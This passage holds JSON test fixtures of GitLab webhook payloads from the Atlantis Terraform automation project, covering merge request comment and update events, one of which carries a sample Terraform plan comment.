"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon" }, "project_id": 7804027, "project": { "id": 7804027, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git" }, "object_attributes": { "attachment": null, "author_id": 1755902, "change_position": null, "commit_id": null, "created_at": "2018-08-22 06:14:24 UTC", "discussion_id": "cb2e85b8972c533d83457fc2851c17969c6417d0", "id": 96056916, "line_code": null, "note": "atlantis plan", "noteable_id": 15372654, "noteable_type": "MergeRequest", "original_position": null, "position": null, "project_id": 7804027, "resolved_at": null, "resolved_by_id": null, "resolved_by_push": null, "st_diff": null, "system": false, "type": null, "updated_at": "2018-08-22 06:14:24 UTC", "updated_by_id": null, "description": "Ran Plan in dir: `.` workspace: `default`\n\n```diff\nRefreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state storage.\n\n\n------------------------------------------------------------------------\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n + create\n\nTerraform will perform the following actions:\n\n+ null_resource.test\n id: \nPlan: 1 to add, 0 to change, 0 to destroy.\n\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n * `atlantis apply -d .`\n* :put_litter_in_its_place: To **delete** this plan click [here](http://Lukes-Macbook-Pro.local:4141/lock?id=lkysow-test%252Fsubgroup%252Fsub-subgroup%252Fatlantis-example%252F.%252Fdefault) or comment:\n * `atlantis discard -d .`\n* :repeat: To **plan** this project again, comment:\n * `atlantis plan -d .`\n\n---\n* :fast_forward: To **apply** all unapplied plans from this pull request, comment:\n * `atlantis apply`", "url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2#note_96056916" }, "repository": { "name": "atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example" }, "merge_request": { "assignee_id": null, "author_id": 1755902, "created_at": "2018-08-22 06:14:20 UTC", "description": "", "head_pipeline_id": 28408568, "id": 15372654, "iid": 2, "last_edited_at": null, "last_edited_by_id": null, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": false }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "patch", "source_project_id": 7804027, "state": "opened", "target_branch": "main", "target_project_id": 7804027, "time_estimate": 0, "title": "Update main.tf", "updated_at": "2018-08-22 06:14:20 UTC", "updated_by_id": null, "url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2", "source": { "id": 7804027, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git" }, "target": { "id": 7804027, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git" }, "last_commit": { "id": "901d9770ef1a6862e2a73ec1bacc73590abb9aff", "message": "Update main.tf", "timestamp": "2018-08-22T06:14:12Z", "url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/commit/901d9770ef1a6862e2a73ec1bacc73590abb9aff", "author": { "name": "Luke Kysow", "email": "lkysow@gmail.com" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null } } ================================================ FILE: server/events/testdata/gitlab-merge-request-comment-event.json ================================================ { "object_kind": "note", "user": { "name": "Administrator", "username": "root", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" }, "project_id": 5, "project":{ "id": 5, "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "repository":{ "name": "Gitlab Test", "url": "http://localhost/gitlab-org/gitlab-test.git", "description": "Aut reprehenderit ut est.", "homepage": "http://example.com/gitlab-org/gitlab-test" }, "object_attributes": { "id": 1244, "note": "This MR needs work.", "noteable_type": "MergeRequest", "author_id": 1, "created_at": "2015-05-17", "updated_at": "2015-05-17", "project_id": 5, "attachment": null, "line_code": null, "commit_id": "", "noteable_id": 7, "system": false, "st_diff": null, "url": "http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244" }, "merge_request": { "id": 7, "target_branch": "markdown", "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, "title": "Tempora et eos debitis quae laborum et.", "created_at": "2015-03-01 20:12:53 UTC", "updated_at": "2015-03-21 18:27:27 UTC", "milestone_id": 11, "state": "opened", "merge_status": "cannot_be_merged", "target_project_id": 5, "iid": 1, "description": "Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.", "position": 0, "source":{ "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlab-org/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", "http_url":"https://example.com/gitlab-org/gitlab-test.git", "git_http_url":"https://example.com/gitlab-org/gitlab-test.git" }, "target": { "name":"Gitlab Test", "description":"Aut reprehenderit ut est.", "web_url":"http://example.com/gitlabhq/gitlab-test", "avatar_url":null, "git_ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "git_http_url":"https://example.com/gitlabhq/gitlab-test.git", "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", "http_url":"https://example.com/gitlabhq/gitlab-test.git" }, "last_commit": { "id": "562e173be03b8ff2efb05345d12df18815438a4b", "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { "name": "John Smith", "email": "john@example.com" } }, "work_in_progress": false, "assignee": { "name": "User1", "username": "user1", "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" } } } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-mark-as-ready.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "id": 2, "name": "Simon Heather", "username": "sheather", "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", "email": "[REDACTED]" }, "project": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "object_attributes": { "assignee_id": null, "author_id": 2, "created_at": "2023-07-02 15:59:31 UTC", "description": "", "head_pipeline_id": 8, "id": 3, "iid": 3, "last_edited_at": null, "last_edited_by_id": null, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": 1, "source_branch": "sheather-cloudfront-patch-92417", "source_project_id": 2, "state_id": 1, "target_branch": "cloudfront", "target_project_id": 2, "time_estimate": 0, "title": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", "updated_at": "2023-07-02 17:02:07 UTC", "updated_by_id": 2, "url": "https://gitlab.lan/sheather/test/-/merge_requests/3", "source": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "target": { "id": 2, "name": "test", "description": null, "web_url": "https://gitlab.lan/sheather/test", "avatar_url": null, "git_ssh_url": "git@gitlab.lan:sheather/test.git", "git_http_url": "https://gitlab.lan/sheather/test.git", "namespace": "Simon Heather", "visibility_level": 0, "path_with_namespace": "sheather/test", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.lan/sheather/test", "url": "git@gitlab.lan:sheather/test.git", "ssh_url": "git@gitlab.lan:sheather/test.git", "http_url": "https://gitlab.lan/sheather/test.git" }, "last_commit": { "id": "386f281f2c9b1a3b659fc7a244ca6781174e1836", "message": "Update main.tf", "title": "Update main.tf", "timestamp": "2023-07-02T16:33:22+00:00", "url": "https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836", "author": { "name": "Simon Heather", "email": "[REDACTED]" } }, "work_in_progress": false, "total_time_spent": 0, "time_change": 0, "human_total_time_spent": null, "human_time_change": null, "human_time_estimate": null, "assignee_ids": [ ], "reviewer_ids": [ 2 ], "labels": [ ], "state": "opened", "blocking_discussions_resolved": true, "first_contribution": false, "detailed_merge_status": "ci_must_pass", "action": "update" }, "labels": [ ], "changes": { "title": { "previous": "Draft: Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", "current": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf" }, "updated_at": { "previous": "2023-07-02 17:01:45 UTC", "current": "2023-07-02 17:02:07 UTC" } }, "repository": { "name": "test", "url": "git@gitlab.lan:sheather/test.git", "description": null, "homepage": "https://gitlab.lan/sheather/test" }, "reviewers": [ { "id": 2, "name": "Simon Heather", "username": "sheather", "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", "email": "[REDACTED]" } ] } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-subgroup.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Luke Kysow", "username": "lkysow", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon" }, "project": { "id": 7804027, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git" }, "object_attributes": { "assignee_id": null, "author_id": 1755902, "created_at": "2018-08-22 06:14:20 UTC", "description": "", "head_pipeline_id": null, "id": 15372654, "iid": 2, "last_edited_at": null, "last_edited_by_id": null, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": false }, "merge_status": "unchecked", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "patch", "source_project_id": 7804027, "state": "opened", "target_branch": "main", "target_project_id": 7804027, "time_estimate": 0, "title": "Update main.tf", "updated_at": "2018-08-22 06:14:20 UTC", "updated_by_id": null, "url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2", "source": { "id": 7804027, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git" }, "target": { "id": 7804027, "name": "atlantis-example", "description": "", "web_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "git_http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "ssh_url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "http_url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git" }, "last_commit": { "id": "901d9770ef1a6862e2a73ec1bacc73590abb9aff", "message": "Update main.tf", "timestamp": "2018-08-22T06:14:12Z", "url": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/commit/901d9770ef1a6862e2a73ec1bacc73590abb9aff", "author": { "name": "Luke Kysow", "email": "lkysow@gmail.com" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "action": "open" }, "labels": [ ], "changes": { "total_time_spent": { "previous": null, "current": 0 } }, "repository": { "name": "atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example" } } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-assignee.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" }, "project": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "object_attributes": { "assignee_id": 255, "author_id": 255, "created_at": "2020-12-08 04:04:23 UTC", "description": "New description", "head_pipeline_id": null, "id": 41728, "iid": 3, "last_edited_at": "2020-12-08 04:05:16 UTC", "last_edited_by_id": 255, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "get-event-payload", "source_project_id": 910, "state_id": 1, "target_branch": "main", "target_project_id": 910, "time_estimate": 0, "title": "Add new file", "updated_at": "2020-12-08 04:05:58 UTC", "updated_by_id": 255, "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", "source": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "target": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "last_commit": { "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "message": "Add abc.txt\n", "title": "Add abc.txt", "timestamp": "2020-12-08T11:03:29+07:00", "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "author": { "name": "Quan Hoang", "email": "hdquan@pm.me" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "assignee_ids": [ 255, 19 ], "state": "opened", "action": "update" }, "labels": [ { "id": 340, "title": "aaaa", "color": "#0033CC", "project_id": 910, "created_at": "2020-12-08 04:05:34 UTC", "updated_at": "2020-12-08 04:05:34 UTC", "template": false, "description": null, "type": "ProjectLabel", "group_id": null } ], "changes": { "assignees": { "previous": [], "current": [ { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" } ] } }, "repository": { "name": "Test Gitlab Webhook", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/quan.hoang/atlantis-example" }, "assignees": [ { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" } ] } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-description.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" }, "project": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "object_attributes": { "assignee_id": null, "author_id": 255, "created_at": "2020-12-08 04:04:23 UTC", "description": "New description", "head_pipeline_id": null, "id": 41728, "iid": 3, "last_edited_at": "2020-12-08 04:05:16 UTC", "last_edited_by_id": 255, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "get-event-payload", "source_project_id": 910, "state_id": 1, "target_branch": "main", "target_project_id": 910, "time_estimate": 0, "title": "Add new file", "updated_at": "2020-12-08 04:05:16 UTC", "updated_by_id": 255, "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", "source": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "target": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "last_commit": { "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "message": "Add abc.txt\n", "title": "Add abc.txt", "timestamp": "2020-12-08T11:03:29+07:00", "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "author": { "name": "Quan Hoang", "email": "hdquan@pm.me" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "assignee_ids": [], "state": "opened", "action": "update" }, "labels": [], "changes": { "description": { "previous": "description", "current": "New description" }, "last_edited_at": { "previous": "2020-12-08 04:04:56 UTC", "current": "2020-12-08 04:05:16 UTC" }, "updated_at": { "previous": "2020-12-08 04:04:56 UTC", "current": "2020-12-08 04:05:16 UTC" } }, "repository": { "name": "Test Gitlab Webhook", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/quan.hoang/atlantis-example" } } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-labels.json ================================================ { "object_kind": "merge_request", "event_type": "merge_request", "user": { "name": "Quan Hoang", "username": "quan.hoang", "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", "email": "hdquan@pm.me" }, "project": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "object_attributes": { "assignee_id": null, "author_id": 255, "created_at": "2020-12-08 04:04:23 UTC", "description": "New description", "head_pipeline_id": null, "id": 41728, "iid": 3, "last_edited_at": "2020-12-08 04:05:16 UTC", "last_edited_by_id": 255, "merge_commit_sha": null, "merge_error": null, "merge_params": { "force_remove_source_branch": "1" }, "merge_status": "can_be_merged", "merge_user_id": null, "merge_when_pipeline_succeeds": false, "milestone_id": null, "source_branch": "get-event-payload", "source_project_id": 910, "state_id": 1, "target_branch": "main", "target_project_id": 910, "time_estimate": 0, "title": "Add new file", "updated_at": "2020-12-08 04:05:16 UTC", "updated_by_id": 255, "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", "source": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "target": { "id": 910, "name": "Test Gitlab Webhook", "description": "", "web_url": "https://gitlab.com/quan.hoang/atlantis-example", "avatar_url": null, "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", "namespace": "Quan Hoang", "visibility_level": 0, "path_with_namespace": "quan.hoang/atlantis-example", "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/quan.hoang/atlantis-example", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" }, "last_commit": { "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "message": "Add abc.txt\n", "title": "Add abc.txt", "timestamp": "2020-12-08T11:03:29+07:00", "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", "author": { "name": "Quan Hoang", "email": "hdquan@pm.me" } }, "work_in_progress": false, "total_time_spent": 0, "human_total_time_spent": null, "human_time_estimate": null, "assignee_ids": [], "state": "opened", "action": "update" }, "labels": [ { "id": 340, "title": "aaaa", "color": "#0033CC", "project_id": 910, "created_at": "2020-12-08 04:05:34 UTC", "updated_at": "2020-12-08 04:05:34 UTC", "template": false, "description": null, "type": "ProjectLabel", "group_id": null } ], "changes": { "labels": { "previous": [], "current": [ { "id": 340, "title": "aaaa", "color": "#0033CC", "project_id": 910, "created_at": "2020-12-08 04:05:34 UTC", "updated_at": "2020-12-08 04:05:34 UTC", "template": false, "description": null, "type": "ProjectLabel", "group_id": null } ] } }, "repository": { "name": "Test Gitlab Webhook", "url": "git@gitlab.com:quan.hoang/atlantis-example.git", "description": "", "homepage": "https://gitlab.com/quan.hoang/atlantis-example" } } ================================================ FILE: server/events/testdata/gitlab-merge-request-event-update-milestone.json ================================================ { "object_kind": "merge_request", 